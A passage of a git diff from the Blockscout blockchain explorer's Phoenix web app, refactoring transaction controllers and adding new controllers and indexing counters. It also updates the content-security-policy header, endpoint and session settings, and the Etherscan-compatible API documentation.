alias EthereumJSONRPC alias Explorer.{Chain, Market} - alias Explorer.Chain.Import - alias Explorer.Chain.Import.Runner.InternalTransactions - alias Explorer.ExchangeRates.Token + alias Indexer.Fetcher.OnDemand.FirstTrace, as: FirstTraceOnDemand def index(conn, %{"transaction_id" => hash_string} = params) do - with {:ok, hash} <- Chain.string_to_transaction_hash(hash_string), + with {:ok, hash} <- Chain.string_to_full_hash(hash_string), {:ok, transaction} <- Chain.hash_to_transaction( hash, @@ -22,78 +24,47 @@ defmodule BlockScoutWeb.TransactionRawTraceController do :token_transfers => :optional } ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do if is_nil(transaction.block_number) do render_raw_trace(conn, [], transaction, hash) else - internal_transactions = Chain.all_transaction_to_internal_transactions(hash) - - first_trace_exists = - Enum.find_index(internal_transactions, fn trace -> - trace.index == 0 - end) - - json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) - - internal_transactions = - if first_trace_exists do - internal_transactions - else - response = - Chain.fetch_first_trace( - [ - %{ - block_hash: transaction.block_hash, - block_number: transaction.block_number, - hash_data: hash_string, - transaction_index: transaction.index - } - ], - json_rpc_named_arguments - ) - - case response do - {:ok, first_trace_params} -> - InternalTransactions.run_insert_only(first_trace_params, %{ - timeout: :infinity, - timestamps: Import.timestamps(), - internal_transactions: %{params: first_trace_params} - }) - - Chain.all_transaction_to_internal_transactions(hash) - - {:error, _} -> - internal_transactions - - :ignore -> - internal_transactions - end - end + FirstTraceOnDemand.maybe_trigger_fetch(transaction) - render_raw_trace(conn, internal_transactions, transaction, hash) + case Chain.fetch_transaction_raw_traces(transaction) do + {:ok, raw_traces} -> render_raw_trace(conn, raw_traces, transaction, hash) + _error -> unprocessable_entity(conn) + end end else {:restricted_access, _} -> TransactionController.set_not_found_view(conn, hash_string) :error -> - TransactionController.set_invalid_view(conn, hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, hash_string) end end - defp render_raw_trace(conn, internal_transactions, transaction, hash) do + defp render_raw_trace(conn, raw_traces, transaction, hash) do render( conn, "index.html", - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - internal_transactions: internal_transactions, + exchange_rate: Market.get_coin_exchange_rate(), + raw_traces: raw_traces, block_height: Chain.block_height(), + current_user: current_user(conn), show_token_transfers: Chain.transaction_has_token_transfers?(hash), - transaction: transaction + transaction: transaction, + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ) ) end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_state_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_state_controller.ex new file mode 100644 index 000000000000..437b33af2769 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_state_controller.ex @@ -0,0 +1,131 @@ +defmodule BlockScoutWeb.TransactionStateController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.{ + AccessHelper, + Controller, + Models.TransactionStateHelper, + TransactionController, + TransactionStateView + } + + alias Explorer.{Chain, Market} + alias Phoenix.View + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import BlockScoutWeb.Models.GetTransactionTags, only: [get_transaction_with_addresses_tags: 2] + import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] + + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) + + @burn_address_hash burn_address_hash + + def index(conn, %{"transaction_id" => transaction_hash_string, "type" => "JSON"} = params) do + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), + {:ok, transaction} <- + Chain.hash_to_transaction(transaction_hash), + {:ok, false} <- + AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- + AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do + state_changes_plus_next_page = + transaction + |> TransactionStateHelper.state_changes( + params + |> paging_options() + |> Keyword.put(:ip, AccessHelper.conn_to_ip_string(conn)) + ) + + {state_changes, next_page} = split_list_by_page(state_changes_plus_next_page) + + next_page_url = + case next_page_params(next_page, state_changes, params) do + nil -> + nil + + next_page_params -> + transaction_state_path(conn, :index, transaction, Map.delete(next_page_params, "type")) + end + + rendered_changes = + Enum.map(state_changes, fn state_change -> + View.render_to_string( + TransactionStateView, + "_state_change.html", + coin_or_token_transfers: state_change.coin_or_token_transfers, + address: state_change.address, + burn_address_hash: @burn_address_hash, + balance_before: state_change.balance_before, + balance_after: state_change.balance_after, + balance_diff: state_change.balance_diff, + token_id: state_change.token_id, + conn: conn, + miner: state_change.miner? + ) + end) + + json(conn, %{ + items: rendered_changes, + next_page_path: next_page_url + }) + else + {:restricted_access, _} -> + TransactionController.set_not_found_view(conn, transaction_hash_string) + + :error -> + unprocessable_entity(conn) + + {:error, :not_found} -> + TransactionController.set_not_found_view(conn, transaction_hash_string) + end + end + + def index(conn, %{"transaction_id" => transaction_hash_string} = params) do + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), + {:ok, transaction} <- + Chain.hash_to_transaction( + transaction_hash, + necessity_by_association: %{ + :block => :optional, + [created_contract_address: :names] => :optional, + [from_address: :names] => :optional, + [to_address: :names] => :optional, + [to_address: :smart_contract] => :optional, + :token_transfers => :optional + } + ), + {:ok, false} <- + AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- + AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do + render( + conn, + "index.html", + exchange_rate: Market.get_coin_exchange_rate(), + block_height: Chain.block_height(), + current_path: Controller.current_full_path(conn), + show_token_transfers: Chain.transaction_has_token_transfers?(transaction_hash), + transaction: transaction, + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ), + current_user: current_user(conn) + ) + else + :error -> + unprocessable_entity(conn) + + {:error, :not_found} -> + TransactionController.set_not_found_view(conn, transaction_hash_string) + + {:restricted_access, _} -> + TransactionController.set_not_found_view(conn, transaction_hash_string) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_token_transfer_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_token_transfer_controller.ex index 95e5b34d0a40..1ca50b21ca9d 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/transaction_token_transfer_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/transaction_token_transfer_controller.ex @@ -1,26 +1,29 @@ defmodule BlockScoutWeb.TransactionTokenTransferController do use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + import BlockScoutWeb.Models.GetTransactionTags, only: [get_transaction_with_addresses_tags: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] - alias BlockScoutWeb.{AccessHelpers, Controller, TransactionController, TransactionTokenTransferView} + alias BlockScoutWeb.{AccessHelper, Controller, TransactionController, TransactionTokenTransferView} alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token alias Phoenix.View - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash def index(conn, %{"transaction_id" => transaction_hash_string, "type" => "JSON"} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(transaction_hash_string), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), :ok <- Chain.check_transaction_exists(transaction_hash), {:ok, transaction} <- Chain.hash_to_transaction( transaction_hash, [] ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do full_options = Keyword.merge( [ @@ -30,8 +33,7 @@ defmodule BlockScoutWeb.TransactionTokenTransferController do [from_address: :names] => :optional, [to_address: :names] => :optional, from_address: :required, - to_address: :required, - token: :required + to_address: :required } ], paging_options(params) @@ -74,7 +76,7 @@ defmodule BlockScoutWeb.TransactionTokenTransferController do TransactionController.set_not_found_view(conn, transaction_hash_string) :error -> - TransactionController.set_invalid_view(conn, transaction_hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, transaction_hash_string) @@ -85,7 +87,7 @@ defmodule BlockScoutWeb.TransactionTokenTransferController do end def index(conn, %{"transaction_id" => transaction_hash_string} = params) do - with {:ok, transaction_hash} <- Chain.string_to_transaction_hash(transaction_hash_string), + with {:ok, transaction_hash} <- Chain.string_to_full_hash(transaction_hash_string), {:ok, transaction} <- Chain.hash_to_transaction( transaction_hash, @@ -98,23 +100,28 @@ defmodule BlockScoutWeb.TransactionTokenTransferController do :token_transfers => :optional } ), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.from_address_hash), params), - {:ok, false} <- AccessHelpers.restricted_access?(to_string(transaction.to_address_hash), params) do + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.from_address_hash), params), + {:ok, false} <- AccessHelper.restricted_access?(to_string(transaction.to_address_hash), params) do render( conn, "index.html", - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + exchange_rate: Market.get_coin_exchange_rate(), block_height: Chain.block_height(), current_path: Controller.current_full_path(conn), + current_user: current_user(conn), show_token_transfers: true, - transaction: transaction + transaction: transaction, + from_tags: get_address_tags(transaction.from_address_hash, current_user(conn)), + to_tags: get_address_tags(transaction.to_address_hash, current_user(conn)), + transaction_tags: + get_transaction_with_addresses_tags( + transaction, + current_user(conn) + ) ) else - :not_found -> - TransactionController.set_not_found_view(conn, transaction_hash_string) - :error -> - TransactionController.set_invalid_view(conn, transaction_hash_string) + unprocessable_entity(conn) {:error, :not_found} -> TransactionController.set_not_found_view(conn, transaction_hash_string) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/verified_contracts_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/verified_contracts_controller.ex new file mode 100644 index 000000000000..1e3235600c08 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/verified_contracts_controller.ex @@ -0,0 +1,69 @@ +defmodule BlockScoutWeb.VerifiedContractsController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [next_page_params: 4, split_list_by_page: 1, fetch_page_number: 1] + + import BlockScoutWeb.PagingHelper, only: [current_filter: 1, search_query: 1] + + import BlockScoutWeb.API.V2.SmartContractController, + only: [smart_contract_addresses_paging_options: 1] + + alias BlockScoutWeb.{Controller, VerifiedContractsView} + alias Explorer.Chain + alias Explorer.Chain.SmartContract + alias Phoenix.View + + @necessity_by_association %{ + :token => :optional, + :smart_contract => :optional + } + + def index(conn, %{"type" => "JSON"} = params) do + full_options = + [necessity_by_association: @necessity_by_association] + |> Keyword.merge(smart_contract_addresses_paging_options(params)) + |> Keyword.merge(current_filter(params)) + |> Keyword.merge(search_query(params)) + + verified_contracts_plus_one = + full_options + |> SmartContract.verified_contract_addresses() + |> Enum.map(&%SmartContract{&1.smart_contract | address: &1}) + + {verified_contracts, next_page} = split_list_by_page(verified_contracts_plus_one) + + items = + for contract <- verified_contracts do + View.render_to_string(VerifiedContractsView, "_contract.html", + contract: contract, + token: contract.address.token + ) + end + + next_page_path = + case next_page_params( + next_page, + verified_contracts, + params, + &%{id: &1.id} + ) do + nil -> nil + next_page_params -> verified_contracts_path(conn, :index, Map.delete(next_page_params, "type")) + end + + json(conn, %{items: items, next_page_path: next_page_path}) + end + + def index(conn, params) do + render(conn, "index.html", + current_path: Controller.current_full_path(conn), + filter: params["filter"], + page_number: params |> fetch_page_number() |> Integer.to_string(), + contracts_count: Chain.count_contracts_from_cache(), + verified_contracts_count: Chain.count_verified_contracts_from_cache(), + new_contracts_count: Chain.count_new_contracts_from_cache(), + new_verified_contracts_count: Chain.count_new_verified_contracts_from_cache() + ) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/visualize_sol2uml_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/visualize_sol2uml_controller.ex new file mode 100644 index 000000000000..025706a2c71c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/visualize_sol2uml_controller.ex @@ -0,0 +1,70 @@ +defmodule BlockScoutWeb.VisualizeSol2umlController do + use BlockScoutWeb, :controller + alias BlockScoutWeb.AccessHelper + alias Explorer.Chain + alias Explorer.Visualize.Sol2uml + + def index(conn, %{"type" => "JSON", "address" => address_hash_string}) do + address_options = [ + necessity_by_association: %{ + :smart_contract => :optional + }, + ip: AccessHelper.conn_to_ip_string(conn) + ] + + if Sol2uml.enabled?() do + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), + # check that contract is verified. partial and bytecode twin verification is ok for this case + false <- is_nil(address.smart_contract) do + sources = + address.smart_contract.smart_contract_additional_sources + |> Enum.map(fn additional_source -> {additional_source.file_name, additional_source.contract_source_code} end) + |> Enum.into(%{}) + |> Map.merge(%{ + get_contract_filename(address.smart_contract.file_path) => address.smart_contract.contract_source_code + }) + + params = %{ + sources: sources + } + + case Sol2uml.visualize_contracts(params) do + {:ok, svg} -> json(conn, %{"address" => address.hash, "contract_svg" => svg, "error" => nil}) + {:error, error} -> json(conn, %{"address" => address.hash, "contract_svg" => nil, "error" => error}) + end + else + _ -> json(conn, %{error: "contract not found or unverified"}) + end + else + not_found(conn) + end + end + + def index(conn, %{"address" => address_hash_string}) do + address_options = [ + necessity_by_association: %{ + :smart_contract => :optional + }, + ip: AccessHelper.conn_to_ip_string(conn) + ] + + with true <- Sol2uml.enabled?(), + {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options) do + render(conn, "index.html", + address: address, + get_svg_path: visualize_sol2uml_path(conn, :index, %{"type" => "JSON", "address" => address_hash_string}) + ) + else + _ -> not_found(conn) + end + end + + def index(conn, _) do + not_found(conn) + end + + def get_contract_filename(nil), do: "main.sol" + def get_contract_filename(filename), do: filename +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/withdrawal_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/withdrawal_controller.ex new file mode 100644 index 000000000000..4df6d86f8448 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/withdrawal_controller.ex @@ -0,0 +1,42 @@ +defmodule BlockScoutWeb.WithdrawalController do + use BlockScoutWeb, :controller + + import BlockScoutWeb.Chain, + only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1, fetch_page_number: 1] + + alias BlockScoutWeb.{Controller, WithdrawalView} + alias Explorer.Chain + alias Explorer.Chain.Wei + alias Phoenix.View + + def index(conn, %{"type" => "JSON"} = params) do + full_options = + [necessity_by_association: %{address: :optional, block: :optional}] + |> Keyword.merge(paging_options(params)) + + withdrawals_plus_one = Chain.list_withdrawals(full_options) + {withdrawals, next_page} = split_list_by_page(withdrawals_plus_one) + + items = + for withdrawal <- withdrawals do + View.render_to_string(WithdrawalView, "_withdrawal.html", withdrawal: withdrawal) + end + + next_page_path = + case next_page_params(next_page, withdrawals, params) do + nil -> nil + next_page_params -> withdrawal_path(conn, :index, Map.delete(next_page_params, "type")) + end + + json(conn, %{items: items, next_page_path: next_page_path}) + end + + def index(conn, params) do + render(conn, "index.html", + current_path: Controller.current_full_path(conn), + page_number: params |> fetch_page_number() |> Integer.to_string(), + withdrawals_count: Chain.count_withdrawals_from_cache(), + withdrawals_sum: Chain.sum_withdrawals_from_cache() |> Wei.from(:wei) + ) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/counters/blocks_indexed_counter.ex b/apps/block_scout_web/lib/block_scout_web/counters/blocks_indexed_counter.ex index 3eede51f907d..19be491d1ed4 100644 --- a/apps/block_scout_web/lib/block_scout_web/counters/blocks_indexed_counter.ex +++ b/apps/block_scout_web/lib/block_scout_web/counters/blocks_indexed_counter.ex @@ -6,15 +6,13 @@ defmodule BlockScoutWeb.Counters.BlocksIndexedCounter do """ use GenServer - - alias BlockScoutWeb.Notifier - alias Explorer.Chain - # It is undesirable to automatically start the counter in all environments. # Consider the test environment: if it initiates but does not finish before a # test ends, that test will fail. - config = Application.get_env(:block_scout_web, __MODULE__) - @enabled Keyword.get(config, :enabled) + use Utils.CompileTimeEnvHelper, enabled: [:block_scout_web, [__MODULE__, :enabled]] + + alias BlockScoutWeb.Notifier + alias Explorer.Chain @doc """ Starts a process to periodically update the % of blocks indexed. @@ -27,7 +25,7 @@ defmodule BlockScoutWeb.Counters.BlocksIndexedCounter do @impl true def init(args) do if @enabled do - Task.start_link(&calculate_blocks_indexed/0) + Task.start_link(&calculate_blocks_indexed_and_broadcast/0) schedule_next_consolidation() end @@ -35,25 +33,21 @@ defmodule BlockScoutWeb.Counters.BlocksIndexedCounter do {:ok, args} end - def calculate_blocks_indexed do - ratio = Chain.indexed_ratio() - - finished? = - case Decimal.compare(ratio, 1) do - :lt -> false - _ -> Chain.finished_indexing?() - end + def calculate_blocks_indexed_and_broadcast do + ratio = Chain.indexed_ratio_blocks() - Notifier.broadcast_blocks_indexed_ratio(ratio, finished?) + # TODO: delete duplicated event when old UI becomes deprecated + Notifier.broadcast_indexed_ratio("blocks_old:indexing", ratio) + Notifier.broadcast_indexed_ratio("blocks:indexing", ratio) end defp schedule_next_consolidation do - Process.send_after(self(), :calculate_blocks_indexed, :timer.minutes(5)) + Process.send_after(self(), :calculate_blocks_indexed_and_broadcast, :timer.minutes(5)) end @impl true - def handle_info(:calculate_blocks_indexed, state) do - calculate_blocks_indexed() + def handle_info(:calculate_blocks_indexed_and_broadcast, state) do + calculate_blocks_indexed_and_broadcast() schedule_next_consolidation() diff --git a/apps/block_scout_web/lib/block_scout_web/counters/internal_transactions_indexed_counter.ex b/apps/block_scout_web/lib/block_scout_web/counters/internal_transactions_indexed_counter.ex new file mode 100644 index 000000000000..54aaa5c029b9 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/counters/internal_transactions_indexed_counter.ex @@ -0,0 +1,55 @@ +defmodule BlockScoutWeb.Counters.InternalTransactionsIndexedCounter do + @moduledoc """ + Module responsible for fetching and consolidating the number pending block operations (internal transactions) indexed. + + It loads the count asynchronously in a time interval. + """ + + use GenServer + # It is undesirable to automatically start the counter in all environments. + # Consider the test environment: if it initiates but does not finish before a + # test ends, that test will fail. + use Utils.CompileTimeEnvHelper, enabled: [:block_scout_web, [__MODULE__, :enabled]] + + alias BlockScoutWeb.Notifier + alias Explorer.Chain + + @doc """ + Starts a process to periodically update the % of internal transactions indexed. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(args) do + if @enabled do + Task.start_link(&calculate_internal_transactions_indexed/0) + + schedule_next_consolidation() + end + + {:ok, args} + end + + def calculate_internal_transactions_indexed do + ratio = Chain.indexed_ratio_internal_transactions() + + Notifier.broadcast_indexed_ratio("blocks_old:indexing_internal_transactions", ratio) + Notifier.broadcast_indexed_ratio("blocks:indexing_internal_transactions", ratio) + end + + defp schedule_next_consolidation do + Process.send_after(self(), :calculate_internal_transactions_indexed, :timer.minutes(7)) + end + + @impl true + def handle_info(:calculate_internal_transactions_indexed, state) do + calculate_internal_transactions_indexed() + + schedule_next_consolidation() + + {:noreply, state} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/csp_header.ex b/apps/block_scout_web/lib/block_scout_web/csp_header.ex index cb81c9b22466..10e01eec7c7a 100644 --- a/apps/block_scout_web/lib/block_scout_web/csp_header.ex +++ b/apps/block_scout_web/lib/block_scout_web/csp_header.ex @@ -9,16 +9,24 @@ defmodule BlockScoutWeb.CSPHeader do def init(opts), do: opts def call(conn, _opts) do + config = Application.get_env(:block_scout_web, __MODULE__) + google_url = "https://www.google.com" + czilladx_url = "https://request-global.czilladx.com" + coinzillatag_url = "https://coinzillatag.com" + trustwallet_url = "https://raw.githubusercontent.com/trustwallet/assets/" + walletconnect_urls = "wss://*.bridge.walletconnect.org https://registry.walletconnect.org/data/wallets.json" + json_rpc_url = Application.get_env(:block_scout_web, :json_rpc) + Controller.put_secure_browser_headers(conn, %{ "content-security-policy" => "\ - connect-src 'self' #{websocket_endpoints(conn)} wss://*.bridge.walletconnect.org/ https://request-global.czilladx.com/ https://raw.githubusercontent.com/trustwallet/assets/ https://registry.walletconnect.org/data/wallets.json https://*.poa.network;\ + connect-src 'self' #{json_rpc_url} #{config[:mixpanel_url]} #{config[:amplitude_url]} #{websocket_endpoints(conn)} #{czilladx_url} #{trustwallet_url} #{walletconnect_urls};\ default-src 'self';\ - script-src 'self' 'unsafe-inline' 'unsafe-eval' https://coinzillatag.com https://www.google.com https://www.gstatic.com;\ + script-src 'self' 'unsafe-inline' 'unsafe-eval' #{coinzillatag_url} #{google_url} https://www.gstatic.com;\ style-src 'self' 'unsafe-inline' 'unsafe-eval' https://fonts.googleapis.com;\ img-src 'self' * data:;\ media-src 'self' * data:;\ font-src 'self' 'unsafe-inline' 'unsafe-eval' https://fonts.gstatic.com data:;\ - frame-src 'self' 'unsafe-inline' 'unsafe-eval' https://request-global.czilladx.com/ https://www.google.com;\ + frame-src 'self' 'unsafe-inline' 'unsafe-eval' #{czilladx_url} #{google_url};\ " }) end diff --git a/apps/block_scout_web/lib/block_scout_web/endpoint.ex b/apps/block_scout_web/lib/block_scout_web/endpoint.ex index f53445bc052f..6edc1dd63e33 100644 --- a/apps/block_scout_web/lib/block_scout_web/endpoint.ex +++ b/apps/block_scout_web/lib/block_scout_web/endpoint.ex @@ -2,22 +2,33 @@ defmodule BlockScoutWeb.Endpoint do use Phoenix.Endpoint, otp_app: :block_scout_web use Absinthe.Phoenix.Endpoint - if Application.get_env(:block_scout_web, :sql_sandbox) do + use Utils.CompileTimeEnvHelper, + disable_api?: [:block_scout_web, :disable_api?], + sql_sandbox: [:block_scout_web, :sql_sandbox], + cookie_domain: [:block_scout_web, :cookie_domain], + session_cookie_ttl: [:block_scout_web, :session_cookie_ttl] + + if @sql_sandbox do plug(Phoenix.Ecto.SQL.Sandbox, repo: Explorer.Repo) end - socket("/socket", BlockScoutWeb.UserSocket, websocket: [timeout: 45_000]) + if @disable_api? do + plug(BlockScoutWeb.Prometheus.Exporter) + plug(BlockScoutWeb.HealthRouter) + else + socket("/socket", BlockScoutWeb.UserSocket, websocket: [timeout: 45_000]) + socket("/socket/v2", BlockScoutWeb.V2.UserSocket, websocket: [timeout: 45_000]) - # Serve at "/" the static files from "priv/static" directory. - # - # You should set gzip to true if you are running phoenix.digest - # when deploying your static files in production. - plug( - Plug.Static, - at: "/", - from: :block_scout_web, - gzip: true, - only: ~w( + # Serve at "/" the static files from "priv/static" directory. + # + # You should set gzip to true if you are running phoenix.digest + # when deploying your static files in production. + plug( + Plug.Static, + at: "/", + from: :block_scout_web, + gzip: true, + only: ~w( css fonts images @@ -28,52 +39,59 @@ defmodule BlockScoutWeb.Endpoint do browserconfig.xml mstile-150x150.png safari-pinned-tab.svg - robots.txt ), - only_matching: ~w(manifest) - ) + only_matching: ~w(manifest) + ) - # Code reloading can be explicitly enabled under the - # :code_reloader configuration of your endpoint. - if code_reloading? do - socket("/phoenix/live_reload/socket", Phoenix.LiveReloader.Socket) - plug(Phoenix.LiveReloader) - plug(Phoenix.CodeReloader) - end + # Code reloading can be explicitly enabled under the + # :code_reloader configuration of your endpoint. + if code_reloading? do + socket("/phoenix/live_reload/socket", Phoenix.LiveReloader.Socket) + plug(Phoenix.LiveReloader) + plug(Phoenix.CodeReloader) + end - plug(Plug.RequestId) - plug(Plug.Logger) + plug(Plug.RequestId) - plug( - Plug.Parsers, - parsers: [:urlencoded, :multipart, :json], - length: 20_000_000, - query_string_length: 1_000_000, - pass: ["*/*"], - json_decoder: Poison - ) + plug(Plug.MethodOverride) + plug(Plug.Head) - plug(Plug.MethodOverride) - plug(Plug.Head) + # The session will be stored in the cookie and signed, + # this means its contents can be read but not tampered with. + # Set :encryption_salt if you would also like to encrypt it. - # The session will be stored in the cookie and signed, - # this means its contents can be read but not tampered with. - # Set :encryption_salt if you would also like to encrypt it. - plug( - Plug.Session, - store: :cookie, - key: "_explorer_key", - signing_salt: "iC2ksJHS" - ) + plug( + Plug.Session, + store: BlockScoutWeb.Plug.RedisCookie, + key: "_explorer_key", + signing_salt: "iC2ksJHS", + same_site: "Lax", + http_only: false, + domain: @cookie_domain, + max_age: @session_cookie_ttl + ) - use SpandexPhoenix + use SpandexPhoenix - plug(BlockScoutWeb.Prometheus.Exporter) + plug(BlockScoutWeb.Prometheus.Exporter) + plug(BlockScoutWeb.Prometheus.PublicExporter) - # 'x-apollo-tracing' header for https://www.graphqlbin.com to work with our GraphQL endpoint - plug(CORSPlug, headers: ["x-apollo-tracing" | CORSPlug.defaults()[:headers]]) + # 'x-apollo-tracing' header for https://www.graphqlbin.com to work with our GraphQL endpoint + # 'updated-gas-oracle' header for /api/v2/stats endpoint, added to support cross-origin requests (e.g. multichain search explorer) + plug(CORSPlug, + headers: + [ + "x-apollo-tracing", + "updated-gas-oracle", + "recaptcha-v2-response", + "recaptcha-v3-response", + "recaptcha-bypass-token", + "scoped-recaptcha-bypass-token" + ] ++ CORSPlug.defaults()[:headers] + ) - plug(BlockScoutWeb.Router) + plug(BlockScoutWeb.Router) + end def init(_key, config) do if config[:load_from_system_env] do diff --git a/apps/block_scout_web/lib/block_scout_web/etherscan.ex b/apps/block_scout_web/lib/block_scout_web/etherscan.ex index 13e3261bfbdf..bb8ff20b47cd 100644 --- a/apps/block_scout_web/lib/block_scout_web/etherscan.ex +++ b/apps/block_scout_web/lib/block_scout_web/etherscan.ex @@ -2,6 +2,7 @@ defmodule BlockScoutWeb.Etherscan do @moduledoc """ Documentation data for Etherscan-compatible API. """ + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:block_scout_web, [Explorer.Chain.BridgedToken, :enabled]] @account_balance_example_value %{ "status" => "1", @@ -81,7 +82,8 @@ defmodule BlockScoutWeb.Etherscan do "contractAddress" => "", "cumulativeGasUsed" => "122207", "gasUsed" => "122207", - "confirmations" => "5994246" + "confirmations" => "5994246", + "methodId" => "0xf00d4b5d" } ] } @@ -664,6 +666,12 @@ defmodule BlockScoutWeb.Etherscan do example: ~s("6005998") } + @method_id_type %{ + type: "string", + definition: "Method signature used in transaction (0x for simple coin transfers)", + example: ~s("0xf00d4b5d") + } + @transaction_index_type %{ type: "transaction index", definition: "Index of the transaction in it's block.", @@ -677,6 +685,7 @@ defmodule BlockScoutWeb.Etherscan do } @token_id_type %{ + name: "Token ID", type: "integer", definition: "id of token", example: ~s("0") @@ -784,7 +793,8 @@ defmodule BlockScoutWeb.Etherscan do contractAddress: @address_hash_type, cumulativeGasUsed: @gas_type, gasUsed: @gas_type, - confirmations: @confirmation_type + confirmations: @confirmation_type, + methodId: @method_id_type } } @@ -867,8 +877,21 @@ defmodule BlockScoutWeb.Etherscan do definition: "The transferred amount.", example: ~s("663046792267785498951364") }, + values: %{ + type: "array", + array_type: %{ + name: "Transferred amount", + type: "integer", + definition: "The transferred amount of particular token instance." + }, + definition: "Transferred amounts of token instances in ERC-1155 batch transfer corresponding to tokenIDs field." + }, tokenName: @token_name_type, tokenID: @token_id_type, + tokenIDs: %{ + type: "array", + array_type: @token_id_type + }, tokenSymbol: @token_symbol_type, tokenDecimal: @token_decimal_type, transactionIndex: @transaction_index_type, @@ -1076,39 +1099,8 @@ defmodule BlockScoutWeb.Etherscan do """ } - @contract_decompiled_source_code_type %{ - type: "contract decompiled source code", - definition: "The contract's decompiled source code.", - example: """ - const name() = 'CryptoKitties' - const GEN0_STARTING_PRICE() = 10^16 - const GEN0_AUCTION_DURATION() = 86400 - const GEN0_CREATION_LIMIT() = 45000 - const symbol() = 'CK' - const PROMO_CREATION_LIMIT() = 5000 - def storage: - ceoAddress is addr # mask(160, 0) at storage #0 - cfoAddress is addr # mask(160, 0) at storage #1 - stor1.768 is uint16 => uint256 # mask(256, 768) at storage #1 - cooAddress is addr # mask(160, 0) at storage #2 - stor2.0 is uint256 => uint256 # mask(256, 0) at storage #2 - paused is uint8 # mask(8, 160) at storage #2 - stor2.256 is uint256 => uint256 # mask(256, 256) at storage #2 - stor3 is uint32 # - ... - """ - } - - @contract_decompiler_version_type %{ - type: "decompiler version", - definition: "When decompiled source code is present, the decompiler version with which it was generated.", - example: "decompiler.version" - } - @contract_with_sourcecode_model @contract_model |> put_in([:fields, "SourceCode"], @contract_source_code_type) - |> put_in([:fields, "DecompiledSourceCode"], @contract_decompiled_source_code_type) - |> put_in([:fields, "DecompilerVersion"], @contract_decompiler_version_type) @transaction_receipt_status_model %{ name: "TransactionReceiptStatus", @@ -1134,7 +1126,7 @@ defmodule BlockScoutWeb.Etherscan do confirmations: 